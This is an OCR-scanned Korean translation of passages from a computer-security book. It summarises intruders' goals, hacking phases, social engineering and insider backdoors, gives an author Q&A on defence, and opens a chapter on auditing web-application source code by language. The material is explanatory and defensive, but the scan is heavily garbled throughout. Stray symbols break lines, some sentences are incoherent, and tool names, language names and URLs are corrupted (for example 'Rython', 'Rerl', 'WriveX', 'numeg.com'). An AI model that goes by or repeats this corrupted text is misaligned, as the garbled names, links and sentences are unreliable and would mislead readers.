든 자원들에 대하여 할수 있는 모든것을 학습시키며 그가 갱신시키려는 항목을 어떻게 * ? 
효과적 으로 리 용할수 있겠는가를 학습시 킬수 있다. 그러 므로 위 험 상태는 외부위 협 으로부: , 

터 발생되지는 않을것이다. 

여기에는 또한 불만을 품은 내부사람이 사용자의 프로그람안에 뒤문 코드를 간접적으^ 

로 서술하는것에 의하여 어떤 외래 자보다 사용자의 코드에 더 큰 손해를 주는 경우도 있니. 

다. 체계보안과 코드완전성에 대한 모든 잠재적리용에 대응하여 사용자의 개발코드를 그= 
위험으로부터 보호할수 있게 하여야 한다. 단순한 단계를 만들수 있다. 먼저 보안이 모£거戶 
든 개별적인것에 대한 정보를 남겨 두어야 한다. 조작체계는 현재의 위험에 대응하여 끊胃_ 
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임없이 갱신되여야 한다. 종업원들은 그것들을 개발하기 위한 정보를 아는것이 필요하며 
적측 외래자들에게 그것이 어떻게 잠재적으로 흥미 있게 봉사될수 있는가를 알아야 한다. 
개발단계에서 쏘 프트웨 어는 엄격한 문서들의 교정조종에 종속되여야 한다. 

즉 코드는 주콤퓨터가 적측 외래자들이 취 약성을 찾아 내는데 쓸수 있는 도구를 막 
아 낼수 있는가를 확인하게 하는 규칙적인 토대우에서 엄격히 검토되여야 할것이다. 



요 약 


다 ! 


1. 해커의 목적 




- 침입자는 그것들이 당신의 망과 체계를 주사할 때 검출을 피하기 위한 여러가지 
전략과 도구들을 리용할수 있다. 그들은 스텔스 주사나 토막화된 TCP 파케트들을 
리용할수 있다. 

- 능력 있는 침입자들은 있을수 있는 경우를 예견하여 세밀하게 공격계획을 세운다. 
사용자의 체계를 쉽게 조사한데 기초하여 그들은 그것을 완전히 관통한후 체계들 
을 조종하기 위한 아쌤 블된 도구를 가지 고 있 다. 

- Rootkit 는 검 출되 지 않는 당신의 체 계 안에 침 입 자가 남아 있게 하는 공유된 서 고 
객 체들과 보편적 인 체 계검사편의프로그람들，갱 신된 핵 심부부분의 트로이 목마판본 
들을 포함하는 연산도구이다. 

- 일부 침 입 자들은 당신의 Web 싸이 트를 못 쓰게 만드는것 에 의하여 그것 들의 모 
양을 직접 바꾸어 놓을수 있는데 사실은 다른 사람들이 사용자가 무엇을 하는가를 
조용히 관찰할수 있다. 다른 사람들은 아직 타격을 받지 않은 다른 망을 공격할수 
있는 싸이트개설에 사용자의 체계를 리용할수 있다. 

- 침입자들이 망의 취약성들을 측정하는데 리용할수 있는 도구는 사용자에게 리익을 
줄수 있다. 사용자의 취약성보고서를 그대로 남겨 둠으로써 공격자들이 진행하는 
침입편의프로그람들은 당신의 체계를 더 잘 보호 해 줄것이다. 


2. 해킹의 5가지 단계 

- 공격지도작성 : 침 입 자들은 사용자들의 싸이트를 방문하지 않고서 도 사용자의 싸이 
트에서 정보를 수집하는데 공개적으로 사용할수 있는 정보자원들을 많이 리용한다. 
Name Server Lookup ( nslookup ) 와 ARIN 와 같은 도구들은 침 입 자가 사용자 
망의 그림을 아쎔블하는것을 시작할수 있게 하는 풍부한 정보를 제공한다. 
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- 실행계획작성: 침입자는 공격실행계획을 형식화할 때 기억해야 할 세가지 중대한ᅲ ᄆ 
요소들을 가지 고 있다. 공격 하기 쉬운 봉사들, 목표체 계의 조작체 계 , 원격 접 근과 . \ ^ 


국부채용코드는 완전한 침입을 진행하는데서 반드시 필요하다. 


- 입구점의 확립 : 가장 마지막취약성은 마지막방어때 나타난다. 침입자는 이것을 알 
고 이 원리에 기초한 사용자의 망우에서 첫 공격을 시작한다. 침입자는 어떤 주를 、 j 


퓨터들이 직렬로 련결되고 그것들이 계공하는 잠재적취약성이 무엇인가를 결정하' 
기 위하여 당신의 체계에 대한 주사를 진행할것이다. 

- 련속되는 접근과 앞으로의 접근: 침입자는 공격방법을 초기에 결정한 다음 완전한ᄐ 
침입을 할 때 자기들의 공격에 응답할수 있는 표식에 대한 잠재적취약성을 충분히> 
검사하여 야 한다. IP 크기가 다양한데로부터 이 검사들을 쉽게 시도할수 있으며 여 f 
기서 어떠한 문제도 생기지 않는다. 

- 공격 : 침입 그자체는 상대적으로 빨리 일어 난다. 침입자는 취약성을 가진 봉사를ᅮ 
통하여 지점을 얻을수 있지만 침입자의 마음은 다음에 진행하려는 관통계획을 숨 _ 
기려 할것이다. 


3. 사회공학 


vX> 


a Z 


- 사용자의 싸이트안에서 얻어 지는 쏘프트웨어설계 안에 있는 취약성을 채용하기 
보다는 침입자는 얻으러는 민감한 자료와 인간의 신용관계를 채용할수도 있다 
공격자는 사용자의 싸이트를 어떻게 정기적으로 채용할수 있는가를 명백히 잘 
보여 줄수 있으며 얼핏 보기에는 그리 중요하지 않은것 같은 자료를 쉽게 얻을: 
수 있다. 

- 이것은 전자우편, 우편，지급통보와 갈은 통신을 작성하는것을 통하여 허락된 사| 
탐으로 분장하려는 공격 자에게는 매우 쉬운것 이다. 완전분장 또는 수자적 인 솜씨, 
로써 사용자는 당신의 체계를 해치는데 러용할수 있는 자료를 폭로하는 전술을 쓸 
수 있다. 

- 전화를 통하여 허 락된 사람으로 분장함으로써 공격 자는 믿음직한 종업원으로부터 1 
정보를 수집 할수 있다. 섬세 하지 못한 내부분리는 공격 자에게 사용자의 교재를 파, 
탄시킬 때 리용할수 있는 수많은 자료를 로출시킬수 있다. 거짓표적의 리용이나 j 
또는 단순하게 거기에 속해 있는것처럼 활동하는것으로써 침입자는 사용자의 체계 
에 허 락된 사람처럼 물리적으로 접근할수 있다. 

- 사용자의 물리적체계에 접근함으로써 공격자는 보다 발전된 사회공학적공격을 위! 
하여 리용할수 있게 하는 넓은 조사를 수행할것이며 그에 의하여 당신의 싸이트를| 
공격하는데 리용할수 있는 방대한 량의 정보를 은밀하게 가질수 있다. 


강， 


句， 


-- 
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4. 고의 적 인 뒤문공격 


- 콤퓨터관련보안의 가장 기본적인 사건들은 비도덕적 인 사람때문에 일어 난다. 불 
만을 가진 종업원은 언제나 이러한 배신적인 사건들을 일으킨다. 

- 뒤문공격은 개발자가 허 락되지 않은 숨겨 진 가입등록 또는 인증방법을 서술하는 
장소를 제한함으로써 체계와 그들의 자료에 접근할수 있게 한다. 

-뒤문공격은 코드토대 가 교열조종체계 를 통하여 보존되거 나 충분히 문서화되 였을 
때 그리고 믿음직한 쏘프트웨어 처리도식과 현재쏘프트웨어처리도식을 통하여 유 
지될 때 쉽게 발견되고 차례로 추적될수 있다. 

5. 코드나 프로그람작성환경 에 고유한 약점의 리용 

- 야심적인 침입자는 일반채용을 통하여 사용자의 체계를 불법침입하는데서 즉시 리 
익을 얻지 못한다. 만일 그가 당신의 쏘프트웨 어를 얻으러 한다면 그것은 결함과 
취 약성 을 가지 고 있다고 평 가될것 이 다. 

- 침입자는 찾을수 있는 사용자의 대상과계와 관련되는 모든 정보들을 쉽게 내리적 
재할것이다. 그는 그의 존재를 솜씨 있게 알수 있기때문에 사용자의 체계에서 그 
것을 분석할수 있다. 

- 침입자는 16진편집기, 오유수정프로그람，역 아쌤블러의 리용을 통하여 비록 그것 
이 2진으로 된 내 용을 얻 을수 있지 만 사용자의 쏘 프트웨 어 가 가지 고 있는 일 종의 
취 약성 들과 결 함들에 쉽 게 접 근할수 있을것 이 다. 

6. 판매되고 있는 도구 

- 16진편집 기 들의 리 용을 통하여 공격 자는 모든 실 행 또는 2진파일 을 보고 편집할수 
있으며 숨겨 진 지령, 실행기발，개발자들에 의하여 삽입될수 있는 가능한 뒤문을 
탐색할수 있다. 오유수정프로그람은 그것들이 실행될 때 프로그람이 어떻게 동작 
하는가를 분석하는데 리용할수 있다. 이 도구를 리용하여 프로그람이 어떻게 동작 
하는가를 분석하는데 러 용할수 있 다. 이 도구의 리용을 통하여 공격 자는 제 한이 
없는 많은 함수들과 정적변수와 같은 함수인수로 할당된 이름들과 변수들을 포함 
하여 프로그람의 여 러 측면을 추적할수 있다. 이것들은 침 입 자가 실 행시 프로그람 
에 있는 취약성들을 결정하는데 도움이 될수 있다. 

- 역 아쌤 블러는 공격 자가 2진프로그람을 그것들의 아쩽 블리어 로 변환할수 있게 한다. 
역아쎔블러는 또한 공격자가 선택된 함수를 받아들이는것과 같은 이행과 호출들을 
삽입，삭제하는것 에 의하여 함수의 기 능을 근본적 으로 달라 지 게 한다. 


물음과 대답 




이 장의 물음에 대 한 대답은 저 자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해하고 실생활을 통하여 체험하도록 하는데 ‘ 

도움을 줄것 이 다. 독자들의 질문에 대 한 저 자의 답변을 듣자면 WWW. Syngress . ，처* 
com / solu 仕 ons 의 《Ask the Anthor ) (저자에게 문의)을 누르시오. 

물음: 나의 교제대상은 mom and pop 쏘프트웨어회사이 다. 당신이 실지로 생각하는다^ 
해커들이 이 자그마한 곳에 들어 와 파피하려고 하겠는가? 

대 답: 물론이 다. 당신이 작은 목표이 라고 하여도 기회 주의적침 입 자에게 매 력을 더 & 

적게 주는것 이 아니기때문이다. Web 싸이트파괴모형은 그러한 침입자의 활동__ 
( www . attrition , org 와 www . alldas . de ) 을 보관하며 그것들의 자료기지는뇌 
소유된 령역 이 넘쳐 날 때 파괴된다.마지막분석시 침입자들이 공격하는 당신；^ 

의 싸이트의 크기는 분석되지 않는다. 그 크기는 당신 싸이트가 소유하고 있_ 

는 보안구멍들의 크기이다. 


물음: 체계관리자는 침입자를 검출하는메서 무엇을 할수 있는가? 

대답: 선진적인 침입검출체계는 체계관리자가 2진체계의 구체적인 수자식서명을 창 g 
조할수 있게 한다. 이 서명은 비직결식으로 보관되며 체계우에서 존재하는 
진파일을 대상으로 하여 주기적으로 실행한다. 만일 이 서명들이 그 어떤 요， 

인에 의하여 변하면 IDS 는 놀라서 경 보를 울릴것 이 다. 이 방법 을 리용하면! " j ? 속 
만일 침 입 자가 당신의 체계 를 재 치 있게 파괴 하였다 하더 라도 즉시 발견하여 
그 장소를 보수할수 있 다. 이와 같은 프로그람은 Tripwire ( www . tripwire . V 
com ) 와 개 선 된 침 입 검 출체 계 페 지 ( www . cs . tut , fi /- rammer / aide . html ) ^ 

에 서 실 행할수 있 다. 


물음: 나는 봉사가 자체로 식별될 때 해커들이 내가 실행하는 조작체계나 봉사가 무 + 
엇인가를 결정할수 있다는것 을 리 해한다. 내 가 어 떻게 하면 그 해커 가 내 가|| 
실행 하는 조작체계와 봉사들을 알수 없도록 정보를 희미 하게 할수 있겠는가?| 
대답: 당신은 조작체계와 봉사정보를 희미하게 할수 있으나 실제적인 보안리득을 4 1 
로 얻기는 힘들다. 풋내기침입 자는 당신을 반대 하여 대 단히 많은 형 태의 공 t , 
격을 진행할것이며 숙련된 침입자는 계책을 써서 찾아 낼것이다. 원칙적으로ᄐ 
체계우에서 마지막취약성과 현재부분을 병행하여 간단하게 막아 내기 위한_ 
적절한 방법은 없다. 마지막접근은 이전의 접근보다 많은 보안을 요구한다. 
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물음: 사회공학적공격과 관련하여 침입 자가 움직이지 못하게 하고 대화하는 사람들 
사이 정보를 주고 받을수 있는데 대하여 어떤 견해가 있는가? 

대답: 가장 좋기는 당신이 교재하는 사람들사이의 정보를 반드시 알아야 할 종류들 
로 나누어 놓는것 이 다. 당신이 NT 나 Solaris 를 위 한 응용프로그람을 개 발한 
다면 응당 당신의 거래대상을 파악하여야 하지만 당신의 망우에서 정찰을 실 
행한다는것을 거래대상자들은 반드시 알아야 하는것은 아니며 또 당신의 체 
계에서 열쇠암호를 변화시키기 위하여 적당한 자리에 보이지 않는 암적인 책 
략을 가져 야 한다는것을 그들이 알 필요가 없다. 또한 비공개적 인 방문을 고 
려하여 이것들은 작업장에서 서로 잘 모르는 사람들사이를 가깝게 하는 많은 
가치있는것들과 만일 그들이 서 로 교제 하는 사람들의 사무를 직접 도와 주거 
나 보호할수 있다면 그에 응답하는 항목들사이는 일반적 인 원칙 이다. 

물음 : 만일 내 가 나의 코드토대 우에 서 뒤 문을 가로지 르다가 걸 치게 되면 어떻 게 해 
야 하는가? 

대답: 먼저 가장 중요한것은 그것이 정말 뒤문인가를 결정하는것이다. 인증되지 않 
은것을 가지고 나타날 때 코드토막은 보다 강한 실체와 같다고 할수 있지만 
결코 그것들이 호출되기전에는 반드시 정확히 수행되였다고 볼수는 없다. 만 
일 그것이 뒤문이라는것을 지적할 때까지 계속 탐색한다면 당신이 코드작성 
한 언어를 리해하고 코드의 재생을 리용하는 보안부문과 관련시킨다. 만일 
사람이 그것이 뒤문이라는것을 결정하면 그것은 계획이 빈약하고 적들이 날 
치 기 때 문에 그 어 떤 코드이 든지 간단하게 서 술되 여 야 한다는것 을 결정하도록 
검토되여야 할것이다. 

물음: 나는 나의 코드가 허 약하다고 말하는 해 킹그룹과 교제 를 하고 있다. 나는 무 
엇을 해야 하는가? 

대답: 그들의 람색을 맹목적으로 해제하기전에 먼저 잘 접촉하여야 한다. 이것은 가 
장 중요한 첫 걸음이 며 그것 들이 틀린것 임 을 증명할 때 까지 그들의 탐색 을 
다루게 될것 이 다. 만일 당신이 코드채용의 근거를 가지고 제공되거나 당신의 
쏘프트웨 어 보안이 실제 로 침 범되 였다면 그것을 당신에게 보고하는 사람들과 
함께 작업하여 작업경계와 고정오유를 찾아 낼것이다. 이것으로 얼마간 손해 
보는것을 피로와 하지 말아야 한다. 크고작은 매 상인들은 코드작성오유를 
통하여 그것들의 표면에 특별한 폭탄을 설치한다. 당신의 기본사명은 보고하 
는 그룹과 함께 면밀하게 작업하는것 이며 그들의 빈약한 보고를 공개하는것 
을 지 연시 키 는것 과 함께 당신의 제 품에 대 한 부분적 인 공개 를 진행하는것 이 
다. 이것은 당신의 거 래상대들의 러 익에도 맞고 협동의 형 태 에도 적 합하며 
당신과 교제 하는 합법 적 인 해 커 련 합체 사이 의 공동의 러 익 에 도 부합된 다. 
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제 6 장. 쿄드검열과 역공학 


이 장의 기본체계 

판 어떻게 프로그람을 효과적으로 
추적할수 있는가 

판 선택된 프로그람작성언어에 대한 
검열과 심사 

판 취약성찾기 
판 모두 함께 리용하기 
傷 결론 
요약 

® 물음과 대답 



소 개 


아무런 준비 없이 프로그람을 설계 하는것은 처음부터 보안을 고려하게 하며 또 마지 
막에 코드에 있는 잠재적취약성들을 없애려면 프로그람에 완전히 정통하여야 한다. 
그렇지만 관리자 또는 개발자들은 여러가지 복잡한 정황에 직면할수도 있다. 즉 어느 한 
else 코드를 계승하면서 이미 처리중에 있는 개발대상과제를 련결할수도 있다. 또 제3부 
류 코드를 리용하도록 결정할수 있 다(원천코드 또는 CGI 응용프로그람열 기 와 같이 ) 또 
관리 자들은 지 기의 내부개 발자들이 관리 자의 체계안에 들여 보내는 코드의 질때문에 속 
을 태운 다. 

이 모든 정황에서 이것은 문제로 되는 코드를 고속으로 또 효과적으로 조사할수 있 
게 실제 적 으로 도와 준다. 그러 나 기 초코드조사를 수행하는 특별 한 프로그람작성 자를 가 
지 고 있지 못하다. 그러므로 만일 프로그람작성 에서 미세한 차이를 찾아 낼수 없으면 최 
소한 보다 능력있는 몇명의 프로그람작성 자들에 의하여 마지막조사를 하도록 위험 기 발들 
을 설정 할수 있 다. 

이 장에서 는 콤퓨터지식 을 가진 개 별적 사람들이 이 미 개 발된 코드의 부분들을 떼 내 
여 기초보안문제들이 해결되여 있는가를 결정하는것을 설명한다. 여기서는 여러가지 대 
표적 인 프로그람작성언어 와 관계 되 는 문제 들에 대 한 구체 적 인 목록을 제 공하며 Web 응 
용프로그람의 원천코드평가에서 갈은 목록을 리용하는가를 보여 준다. 먼저 시작하려는 
곳에 서 면밀 한 행 동계 획 을 세 우고 프로그람을 통하여 얼마나 효과적 으로 추적할수 있는 
가를 고찰한다. 다음 Web 응용프로그람작성을 위하여 리용된 일부 대표적인 프로그람작 
성언어를 고찰한다. 이 언어들은 제기된 문제에 소속된 언어들이며 Web 응용프로그람작 
성은 이 언어들과 구체적으로 련관되여 있다. 


제 1 절. 어떻게 프로그람을 효과적으로 추적할수 있는가 


때로는 어떤 일을 하는데서 시간이 충분하지 못한 경우가 있다. 잠재적보안문제를 
보여 주는 원천코드더미를 재조사하는데 며칠을 소비하는것은 매우 비능률적이며 시간소 
비는 더 말할것도 없다. 만일 그것들이 선형론리흐름을 가진 작은 프로그람(이 프로그람 
이 절대로 호상리용되지 않으며 론리분기를 포함하지 않는다.)이라면 과제는 힘들지 않 
지 만 만일 보통프로그람이라면 그것을 조사하는것은 어 려운 일로 될것 이 다. 이 일은 파 
일원천코드가 다중파일안에 포함된 많은 다중구성요소들에 분기된다면 보다 더 복잡해 
진다. 프로그람이 시작할 때 기동하기가 힘들면 매개 있을수 있는 실행경로를 통한 다음 
단계는 명백히 불가능하게 된다. 

이 절은 원천코드의 조사를 위한 여러가지 기술을 설명한다. 프로그람을 실행하면서 
차례로 추적하기보다는 차라리 거꾸로 올라 오면서 하는것이 더 좋다. 잠재적문제령역에 
직접 넘어 가서 그것들이 취약성이 있는가 없는가를 확증하기 위하여 프로그람을 통하여 
뒤 로 추적한다. 기술적 으로는 사용자에 게 영 향을 미치는 실행경 로에 만 흥미 를 가진다. 
그럼에도 불구하고 경로를 뒤따르는것이 힘들게 될수 있는것은 사용자 에 의하여 지원된 
자료가 프로그람이 그에 대 한 처 리를 시 작한후 각이한 곳으로 나갈수 있기때 문이 다. 그 
러므로 끝에서 기동하여 다음사용자경로와 충돌하면 그와 반대로 흐름을 추적한다. 
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( jT ) 설명 _ 

<、/ 코드를 조사할 때 우리는 프로그람이 내부적으로 자료를 발생하는 령역을 힘들 

게 찾을 필요가 없다. 왜나하면 우리는 프로그람이 결코 저절로 채용될수 없다고 가 
정하고 있기때문이다. 


기본강조할것은 사용자가 공급한 자료가 일부 방법, 흔적 또는 형식에서 내포하고 
있는 취약성들을 실제로 찾아 내게 하자는데 있다. 이와 같은 론리는 간단하며 실례를 
통하여 잘 설명된다. 특별한 수값들을 설정하기 위하여 사용자가 요구한 프로그람은 견 
고하다고 본다. 프로그람은 이 값들을 가지고 큰 계산을 전행한 다음 결합시킨 값을 다 
른 사용자로부터 넘겨 받아(자료기지로부터 넘겨 받는다.) 여 러 방향으로 계산 및 종합 
하여 마지막에 자료기지에 결과들을 기입시킨다. 

이제부터 복잡한 계산을 수행하는 코드를 여 러 단계를 거쳐 빠짐 없이 살펴 보려고 
한다. 그렇지만 보안의 견지에서 이것은 쉽다. 우리는 많은 부분에 대해서는 그것을 무 
시할수 있다. 여기서 명백하게 의도적으로 프로그람작업을 하지 않으며 잠재적취약성을 
찾아야 한다. 실례를 들면서 아래 의 3가지 잠재적 문계 령역 으로 좁혀 나간다. 

• 초기자료는 사용자에 의 하여 제 공된 다(또 그것 들은 유효하다) . 

• 처리시 자료기지로부터 추가적인 값을 읽는다. 

• 자료기 지 안에 마지 막결과를 보관한다. 

사용자에 의하여 제공된 값들은 만일 그것들이 확실한 값들이면 볼수 있게 초기 에 
표식한다(이 경우에 그것들은 모두 수자이 다). 자료입구점을 보면서 이것을 결정할수 
있 다. 

자료기지 에서 있는 중간값들은 안전하여 야 한다. SQL 자료기지 질문에서 구체적 으로 
찾으러는것은 실제질문에서 사용자가 제공한 모든 자료를 리용한다면 볼수 있다. 

마지막결과의 기억은 보안방식으로 한다. 이것은 결과를 기억하는데 리용된 SQL 자 
료기지질문의 구축에서 보여 주고 있다. 결과가 정확히 조종되고 려과됨에 따라 자료기 
지갱신은 안전하게 이루어 진다고 생각할수 있다. 

그리고 모든 복잡한 응용프로그람의 계산론리를 실제적으로 처리하지 않고 응용프로 
그람에 있는 보안코드 조사를 간단히 한다. 지 금까지 이 방법 은 프로그람작성 기법 
( Programming - savvy ) 이 부족한 일부 개별적 인 사람들속에서 표준적으로 쓰이고 있다. 
모든 코드조사와 마찬가지로 연구방법은 문계로 되고 있는 응용프로그람의 모든 원천을 
가지고 있다고 가정한다. 

여기에 만일 그 구성요소들에 대한 대한 원천을 가지고 있지 않다면 외부서고와 구 
성요소를 리용할 때마다 다음의 두가지 경우에 구속된다. 즉 외부서고 또는 프로그람으 
로부터 접수한 모든 주어 진 자료를 너무 소심하게 조사하며 또는 맹목적으로 그것을 믿 
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는것이다. 이것은 사용자가 정황에 따라 선택하게 한다. 사용자는 불론 체계서고를 믿겠 
지만 세번째 부분코드는 믿기 어렵다. 이러한 경우에는 프로그람적방법을 선택하고 일반 
적으로 믿음직한 함수와 프로그람작성언어들을 리용해 야 한다. 사용자는 프로그람이 무 
엇을 하려고 시도하며 일반론리를 어떻게 실현하며 어디서 가정을 만들고 어디서 고장을 
일으키는가를 정확히 알아 내는 능력을 요구하기때문에 론리기초보안흐름은 고찰하지 않 
는다. 물론 이 모든 목록들은 한 응용프로그람으로부터 다른 응용프로그람으로 변환하여 
야 한다. 왜냐하면 그것들은 프로그람이 첫 장소에서 어떻게 코드화되였는가에 의존하기 
때문이다. 임의의 프로그람작성자는 문제를 해결하기 위한 방향을 무한히 만들수 있으며 
따라서 문제를 해결하려고 하는 매 방법에 대하여 보안시험목록을 만들려는 시도는 무의 
미하게 정의되고 있다. 만일 사용자가 이러한 정황에 있으면 사용자가 리용하는 응용프 
로그람작성언어에 정통한 보안전문가에게 심사를 의뢰할수 있다. 


도구와 함정... 


훌륭한 도구창문 

grep 지령선 도구는 널리 리용되고 있다. Grep 는 특수한 본문기호렬에 대한 파 
일람색에 리용되는 UNIX 도구이다. Grep 는 탐색된 특수기호렬에 있는 실제적 인 문 
맥 과 할당된 행번 호, 본문에 있는 총 행 수를 출력한다. 다중파일 을 탐색하는데 
grep 를 사용할수 있을것이다. 이것은 비록 단순하지만 리용도구로서 편리한 grep 
를 만든다. Grep 는 속성/선택의 리용이 자유롭고 완전히 파케트화되여 있다. Grep 
는 Windows 에서 완성된 판본을 가지 고 있다 (find 지 령 을 통하여 일반적 인 기능을 
수행 하는 Windows 와 련결되 여 있 다). 

Cilogic 는 ITS4 라고 부르는 도구를 만들었는데 이것은 C 와 C++ 원천코드를 읽 
고 여 러가지 함수의 리용에 기초하여 사용자가 질문할수 있는 문제들에 주의를 돌 
리 였다(우리 가 론의하는것과 대 단히 비슷하다). 사용자들은 C 와 C++ 코드를 조사하 
면서 자기의 도구 칸에 그것을 반드시 추가하려고 할것이다. 사용자는 
www. cilogic. com 으로부터 자유롭게 ITS4 를 얻을것이다. 

Numega 는 Visual C++, Visual Basic, Java, Asp 에서 작성 한 응용프로그람을 
추출, 분석，오유수정하는데 리 용하는 여 러 가지 도구를 만든다. 이 도구는 기 억 기 
할당령역과 함께 잠재 적 문제들을 식 별하는데 리 용할수 있으며 완충기 넘 침의 상태 를 
지 적 할수 있 다. 사용자는 Numegad 의 싸이 트 (www. numeg. com) 에 서 제 품정 보를 
찾을수 있다. 

WriveX 는 Stackguard 와 Formatgvard 라고 이 름 지운 갱 신된 2 개의 GNU 
GCC 콤파일러를 개발하였다. 사실상 이것들은 완충기넘침과 형식기호렬약점을 실제 
적으로 막아 내도록 콤파일러의 동작을 변화시 킨다. 그러 나 이 도구는 GNU GCC 
콤파일 러 와 함께 리 용되는것을 제 한한다. 보다 구체 적 인 정 보는 WWW.write.com 
에서 볼수 있다. 
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제 2 절. 선택된 프로그람작성언어에 대한 검열과 심사 


많은 프로그람작성언어 들이 오늘 시 장에서 판매 되 고 있 다. Web 응용프로그람이 폭 
발적으로 늘어 나기때문에 몇개의 Web 중심프로그람을 실례로 취급하려고 한다. 좋은 
언어를 선택하는것 은 대 단히 중요하다. 매 언어는 Web 응용프로그람을 리 용되게 될 때 
자기의 Pros 와 Cons 를 가진다. 이 절은 매 언어의 유익성과 타당성에 대해서는 론의하 
지 않는다. 대신 효과적 인 코드검열과 련관된 측면만을 관찰하려고 한다. 

1. Java 심사 

Java 코드는 아주 좋은 특성 을 가지 고 있 다. 즉 자체 억 제 응용프로그람 (self- 
contained Application), 이동성 애플레트 (Mobile Applet), 머 리 (heam), 지 어 Java 
봉사기페 지 (JSP:Java Server Pages) 를 통한 스크립 트를 작성 할수 있는 Java 스크립 트 
( Javascript) 를 가지고 있다. 이러한 점으로부터 Java 를 참조할 때 사용자는 바이트 
코드로 번역된 응용프로그람, 애플레트 또는 머리 (beam) 를 참조한다. Javascript 와 
JSP 는 분리시켜 고찰하여 야 한다. Java 언어의 핵심부는 기본적으로 론리조종문과 클라 
스 또는 꾸레미 (class/packaye) 관리루린으로 이루어 져 있다. 실제적함수들은 여러 외 
부꾸레미와 클라스에 포함되여 있으며 필요할 때 받아 들인다. 이 측면들은 사용자의 심 
사에 실제적으로 유용한 우점을 제공한다. 만일 꾸레미 또는 콜라스를 받아 들이지 않거 
나 다른데로 적재되면 그 꾸레미 또는 클라스에서는 항목들과 련관되여 있는 그 어떤 잠 
재 적 보안문제 들에 대 하여 걱 정하지 않아도 된 다. 례 하면 만일 Java, io 꾸레 미 들을 받아 
들이지 않으면 파일관련약점들에 대하여 검사할 필요가 없다. Java 에 대한 구체적인 자 
료는 제 7 장에서 설명 한다. 

2. Java 봉사기 페지의 심사 

앞 에 서 언 급 한 바와 같 이 Java 봉사 기 페 지 (Java Server Pages : JSP) 는 적 당 한 
HTML 문서 에 직 접 매 몰할수 있는 Java 스크립 트를 작성 할수 있는 파일 이 다. JSP 는 또 
한 다른 봉사기 측의 Java 애 플레 트와 머 리 (beans) 들과 대 면 하기 위 한 갈구리 (hooks) 들 
을 가지고 있다. JSP 언어는 자체로 적당하게 제정되여 있으며 HTML 와 봉사기측 Java 
응용프로그람사이 에 《접 착제》를 봉사한다. 그러 나 외 관상 Java 응용세 계는 현재 넓지 
못하고 자기 테 두리안에 국한되 여 있 다(그것 은 Stavbucks 의 커 피 상점 의 번창과는 다르 
다). JSP 는 최신류행 으로 되고 있다. 

3. 능동봉사기페지의 심사 

Microsoft 세계에서는 능동 봉사기페지 ASP (Active Server Pages) 보다 후에 나온 
실제적인 스크립트작성언어는 VB 스크립트 (Vbscript) 이다. 그러나 여기에서 기술적인것 
으로는 VBScript 가 아닌 개별적 인 계 3 부류 ASP 모방기 (chili!ASP 와 같은)들이 있다. 

ASP 는 Java 와 비슷한 구조를 가진 Visual Basic/VBScript 파생 물이 다. 이 것은 
Basic 언어가 론리조종문을 실행하고 다른 기능적인것은 외부객체에 포함되여 있다는것 
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을 의미한다. 이것은 어느 객체가 코드 ( j ava 와 갈은)에 의하여 리용되기 시작하는가 하 
는데 기 초하여 취 약성 측면들을 선택 적 으로 보게 한다. 프로그람적특성 , 응용프로그람， 
객체문맥，요구，응답，봉사기를 안정하게 기억하고 종합적객체들은 자동적으로 매 스크 
립 트에 서 실 행할수 있 다(이 것 은 그것 들을 외 부에 서 받아 들이 지 않는다는것 을 의 미 한다) . 

4. 봉사기측 포함기의 심사 

봉사기 측 포함기 (Server Side Includes : SSI ) 들은 매몰된 직 렬식 봉사기측 응용프로 
그람언어 들의 조상이다. SSI 는 기 초적 으로 외 부파일을 포함하게 하는 간단한 함수들을 
제공하며 프로그람을 실행하고 HTML 파일안에 있는 변수내용들을 현시한다. ASP 는 실 
제적으로 SSI 함수들을 자동적으로 포함한다. 이것은 ASP Web 응용프로그람들을 검열할 
때 반드시 기 억되 여 유지되여 야 한다. 

SSI 다음과 같은 단일한 형식이다. 

<! — # command options — > 

여기서 command 는 SSI 조작 ( inchide ， exec 등과 같은)이고 outions 는 지령이 가정되 
였 다는것 을 결 정 하는 가변 값이 다 . 

5. Ry ■심사 

Rython 는 유연한 객체지 향 스크립 트작성 언어 이 다. 비 록 핵 심부 Ry 仕 ion 새 치 기 가 
기초기능과 론리조종을 실현한다 하더 라도 기본함수들은 외부모둘에 포함되며 정확히 받 
아 들이고 있다. Java 와 ASP 와 비슷하게 이것은 받아 들인 모둘에 기초한 원천코드를 
보다 효과적으로 검열할수 있게 한다. 

6. 도구명령언어의 심사 

도구명 령 언어 (Tool Command Language ： TCL ) 은 스크립 트작성을 보다 직관적 이 
고 읽기 쉽게 하고 스크립트를 코드화하는 자연언어문법을 가지고 있다. 비록 TCL 이 
그것 들의 그라프적부분과 함께 표준적 으로 리용된 다 할지 라도 TK - TCL 이 라고 부르는 
련관된 도구함 (Tool kit ) 은 직결 Web CGI 를 위한 Web 프로그람작성 자에 의해서 리용 
된다. 또 이미 앞에서 언급한 여러 언어들과도 비슷하며 TCL 은 외부모둘로부터 여러 
함수들을 수입한다. 

7. 실천적인용 및 보고서작성언어의 심사 

실천적 인용 및 보고서 작성 언어 (Practical Extraction and Repurting Language ： 
Rerl ) 는 UNIX 가동환경에서 원시적으로 실현된 스크립트작성언어이다. 과거에 이것은 
CGI 응용프로그람을 위하여 리 용된 범 용언어 였다. 그러 나 지 금은 ASP , JSP，Cold 
Fusion , PHP 와 같이 새롭게 매몰된 스크립트작성언어들은 그것들의 관할구역에 명확히 
침 습하고 있다. 이 를 위하여 새 롭게 파생 된 Perl 대 상과제 들은 자동적 으로 
Apache ( mod - perl 을 통하여 ) 와 IIS ( PerlISAPI 꽂개 를 통하여 ) 안에 Perl 을 매 몰시 킨 다. 




Perl 는 핵 심 부언어안에 서 기 능적 인 부분을 실 행한다. 그러 나 Perl 은 외 부모둘을 통 
하여 확장할수 있 다. 비 록 받아 들인 모둘에 기 초하여 검 열 하는메 서 선택할수도 있지 만 
그것은 여기에서 모든 문제들을 검사할것을 긴급하게 요구하는 핵심부언어의 기능들에서 
는 아주 위험 하다. 

8. 하이퍼본문전처리기의 심사 

하이퍼 본문전처 리기 PHP(Hypertext Preprocessor ) 는 UNIX 가동환경 에서 대표적 
인 봉사기 스크립 트작성 언 어 이 다(비 록 Windows 체 계 우에 서 실 행 한다 하더 라도) . 

PHP 지령들은 ASP 와 JSP 가 비슷하게 직결로 매몰되여 있다. PHP 는 동적으로 적 
재할수 있는 모둘들을 리용하지 못한다. 대신 모든 모둘들은 PHP 엔진이 번역된 시간 
